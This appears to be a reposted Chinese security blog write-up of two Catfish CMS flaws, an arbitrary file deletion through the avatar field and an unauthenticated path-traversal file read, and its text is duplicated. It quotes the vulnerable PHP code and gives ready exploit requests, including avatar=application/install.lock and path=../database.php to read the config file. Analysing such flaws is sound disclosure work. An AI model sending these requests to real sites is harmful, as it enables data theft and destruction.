Catfish CMS两处任意文件操作

颓废 2019年5月19日10:46:41评论499 views字数 2302阅读7分40秒阅读模式
摘要

在/application/user/controller/Index.php中第93行: public function touxiang() { $this->checkUser(); if(Request::instance()->isPost()) { //验证输入内容 $rule = [ 'avatar' => 'require' ]; $msg = [ 'avatar.require' => Lang::get('Please upload your avatar') ]; $data = [ 'avatar' => Request::instance()->post('avatar') ]; $validate = new Validate($rule, $msg); if(!$validate->check($data)) { $this->error($validate->getError());//验证错误输出 return false; } $avatar = Db::name('users') ->where('id', Session::get($this->session_prefix.'user_id')) ->field('avatar') ->find(); $yuming = Db::name('options')->where('option_name','domain')->field('option_value')->find(); //删除原图 if(Request::instance()->post('avatar') != $avatar['avatar']) { $yfile = str_replace($yuming['option_value'],'',$avatar['avatar']); if(!empty($yfile)){ $yfile = substr($yfile,0,1)=='/' ? substr($yfile,1) : $yfile; $yfile = str_replace("/", DS, $yfile); @unlink(APP_PATH . '..'. DS . $yfile); } } $data = ['avatar' => Request::instance()->post('avatar')]; Db::name('users') ->where('id', Session::get($this->session_prefix.'user_id')) ->update($data); } $this->receive(); $this->assign('active', 'touxiang'); $view = $this->fetch(); return $view; } 可以看到这里有个unlink的操作,我们看一下参数有一个$yfile:
回溯一下该变量,发现源头的是我们从数据库中取出的avatar经过替换得到的一个字符串,那么数据库里的avatar是什么值呢?
我们可以看到,这个其实就是我们编辑完头像的名字存到数据库里的,那么如果这个东西可控的话,那么unlink的文件也是可控的,那么我们就可以达到一个任意文件删除的目的了。那么这个入库的东西到底可不可控呢?答案是可控的
就看这两处:
$data = [ 'avatar' => Request::instance()->post('avatar') ]; Db::name('users') ->where('id', Session::get($this->session_prefix.'user_id')) ->update($data); 可以看到其实直接将我们post过来的avatar变量入了库,没有进行检测,导致我们可以构造任意的值。达到一个任意文件删除的目的。

漏洞利用

利用也很简单:
首先注册登录一个账号,然后构造发包:
http://localhost/catfish/user/index/touxiang.html
POST: avatar=application/install.lock
然后再POST一次不同的avatar的值,就可以删除掉install.lock文件
任意文件读取

漏洞触发点
在/application/multimedia/controller/Index.php中的index方法:
public function index() { if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get')) { if(Request::instance()->get('media') == 'image') { echo APP_PATH.'plugins/'.Request::instance()->get('path'); header("Content-Type: image/".Request::instance()->get('ext')); echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path')); exit; } } } 这三个参数可控,并且没有任何过滤,这个controller也没有任何权限验证,所以说直接不用登陆就可以读取任意文件,比如说读取配置文件:
http://localhost/catfish/multimedia/index/index.html?ext=jpg&media=image&path=../database.php

漏洞触发点:

在/application/user/controller/Index.php中第93行:

public function touxiang()     {         $this->checkUser();         if(Request::instance()->isPost())         {             //验证输入内容             $rule = [                 'avatar' => 'require'             ];             $msg = [                 'avatar.require' => Lang::get('Please upload your avatar')             ];             $data = [                 'avatar' => Request::instance()->post('avatar')             ];             $validate = new Validate($rule, $msg);             if(!$validate->check($data))             {                 $this->error($validate->getError());//验证错误输出                 return false;             }             $avatar = Db::name('users')                 ->where('id', Session::get($this->session_prefix.'user_id'))                 ->field('avatar')                 ->find();             $yuming = Db::name('options')->where('option_name','domain')->field('option_value')->find();             //删除原图             if(Request::instance()->post('avatar') != $avatar['avatar'])             {                 $yfile = str_replace($yuming['option_value'],'',$avatar['avatar']);                 if(!empty($yfile)){                     $yfile = substr($yfile,0,1)=='/' ? substr($yfile,1) : $yfile;                     $yfile = str_replace("/", DS, $yfile);                     @unlink(APP_PATH . '..'. DS . $yfile);                 }             }             $data = ['avatar' => Request::instance()->post('avatar')];             Db::name('users')                 ->where('id', Session::get($this->session_prefix.'user_id'))                 ->update($data);         }         $this->receive();         $this->assign('active', 'touxiang');         $view = $this->fetch();         return $view;     }

可以看到这里有个unlink的操作,我们看一下参数有一个$yfile:
回溯一下该变量,发现源头的是我们从数据库中取出的avatar经过替换得到的一个字符串,那么数据库里的avatar是什么值呢?
我们可以看到,这个其实就是我们编辑完头像的名字存到数据库里的,那么如果这个东西可控的话,那么unlink的文件也是可控的,那么我们就可以达到一个任意文件删除的目的了。那么这个入库的东西到底可不可控呢?答案是可控的
就看这两处:

$data = [                 'avatar' => Request::instance()->post('avatar')             ]; Db::name('users')                 ->where('id', Session::get($this->session_prefix.'user_id'))                 ->update($data);

可以看到其实直接将我们post过来的avatar变量入了库,没有进行检测,导致我们可以构造任意的值。达到一个任意文件删除的目的。

漏洞利用

利用也很简单:
首先注册登录一个账号,然后构造发包:
http://localhost/catfish/user/index/touxiang.html
POST: avatar=application/install.lock
然后再POST一次不同的avatar的值,就可以删除掉install.lock文件
任意文件读取

漏洞触发点
在/application/multimedia/controller/Index.php中的index方法:

public function index()     {         if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get'))         {             if(Request::instance()->get('media') == 'image')             {                 echo APP_PATH.'plugins/'.Request::instance()->get('path');                 header("Content-Type: image/".Request::instance()->get('ext'));                 echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path'));                 exit;             }         }     }

这三个参数可控,并且没有任何过滤,这个controller也没有任何权限验证,所以说直接不用登陆就可以读取任意文件,比如说读取配置文件:
http://localhost/catfish/multimedia/index/index.html?ext=jpg&media=image&path=../database.php

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:46:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Catfish CMS两处任意文件操作http://cn-sec.com/archives/68616.html

发表评论

匿名网友 填写信息